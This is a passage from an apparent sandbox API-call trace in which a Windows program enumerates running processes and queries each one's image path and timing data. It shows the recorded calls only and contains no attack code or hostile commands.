lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.472] CloseHandle (hObject=0xfc) returned 1 [0245.472] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0xfc [0245.473] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.473] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x1795c8) returned 1 [0245.473] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wininit.exe" | out: _Dest="C:\\Windows\\System32\\wininit.exe") returned="C:\\Windows\\System32\\wininit.exe" [0245.473] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.473] CloseHandle (hObject=0xfc) returned 1 [0245.473] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.474] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0xfc [0245.474] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.474] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1795c8) returned 1 [0245.474] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0245.474] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.475] CloseHandle (hObject=0xfc) returned 1 [0245.475] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.475] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a4) returned 0xfc [0245.475] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.475] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x1795c8) returned 1 [0245.476] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\winlogon.exe" | out: _Dest="C:\\Windows\\System32\\winlogon.exe") returned="C:\\Windows\\System32\\winlogon.exe" [0245.476] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.476] CloseHandle (hObject=0xfc) returned 1 [0245.476] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0xfc [0245.476] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.476] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x1795c8) returned 1 [0245.477] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\services.exe" | out: _Dest="C:\\Windows\\System32\\services.exe") returned="C:\\Windows\\System32\\services.exe" [0245.477] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.477] CloseHandle (hObject=0xfc) returned 1 [0245.477] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.477] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0xfc [0245.477] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.477] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x1795c8) returned 1 [0245.478] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\lsass.exe" | out: _Dest="C:\\Windows\\System32\\lsass.exe") returned="C:\\Windows\\System32\\lsass.exe" [0245.478] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.478] CloseHandle (hObject=0xfc) returned 1 [0245.478] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0xfc [0245.478] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.478] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x1795c8) returned 1 [0245.479] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\lsm.exe" | out: _Dest="C:\\Windows\\System32\\lsm.exe") returned="C:\\Windows\\System32\\lsm.exe" [0245.479] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.479] CloseHandle (hObject=0xfc) returned 1 [0245.479] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0xfc [0245.479] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.479] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.480] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.480] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.480] CloseHandle (hObject=0xfc) returned 1 [0245.480] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0xfc [0245.480] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.480] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.481] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.481] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.481] CloseHandle (hObject=0xfc) returned 1 [0245.481] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b8) returned 0xfc [0245.481] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.482] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.482] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.482] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.482] CloseHandle (hObject=0xfc) returned 1 [0245.482] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x308) returned 0xfc [0245.482] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.483] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.483] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.483] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.483] CloseHandle (hObject=0xfc) returned 1 [0245.483] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.484] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0xfc [0245.484] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.484] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.484] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.484] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.484] CloseHandle (hObject=0xfc) returned 1 [0245.484] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ec) returned 0xfc [0245.485] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.485] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.485] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.485] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.485] CloseHandle (hObject=0xfc) returned 1 [0245.485] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0xfc [0245.533] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.533] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.534] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.534] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.534] CloseHandle (hObject=0xfc) returned 1 [0245.534] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.534] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0xfc [0245.535] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.535] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x1795c8) returned 1 [0245.535] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\dwm.exe" | out: _Dest="C:\\Windows\\System32\\dwm.exe") returned="C:\\Windows\\System32\\dwm.exe" [0245.535] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.535] CloseHandle (hObject=0xfc) returned 1 [0245.535] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x430, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0xfc [0245.536] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.536] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x1795c8) returned 1 [0245.537] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\explorer.exe" | out: _Dest="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0245.537] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.537] CloseHandle (hObject=0xfc) returned 1 [0245.537] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.537] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48c) returned 0xfc [0245.537] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.538] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x1795c8) returned 1 [0245.538] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\spoolsv.exe" | out: _Dest="C:\\Windows\\System32\\spoolsv.exe") returned="C:\\Windows\\System32\\spoolsv.exe" [0245.538] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.538] CloseHandle (hObject=0xfc) returned 1 [0245.538] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b0) returned 0xfc [0245.539] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.539] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1795c8) returned 1 [0245.539] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\taskhost.exe" | out: _Dest="C:\\Windows\\System32\\taskhost.exe") returned="C:\\Windows\\System32\\taskhost.exe" [0245.539] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.539] CloseHandle (hObject=0xfc) returned 1 [0245.539] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0xfc [0245.540] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.540] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.541] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.541] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.541] CloseHandle (hObject=0xfc) returned 1 [0245.541] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0245.541] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0xfc [0245.541] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.542] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpdwSize=0x1795c8) returned 1 [0245.542] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" [0245.542] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.542] CloseHandle (hObject=0xfc) returned 1 [0245.542] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.543] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0xfc [0245.543] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.543] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x1795c8) returned 1 [0245.543] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0245.543] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.543] CloseHandle (hObject=0xfc) returned 1 [0245.543] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.544] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0xfc [0245.544] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0245.545] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0245.545] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.545] CloseHandle (hObject=0xfc) returned 1 [0245.545] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, 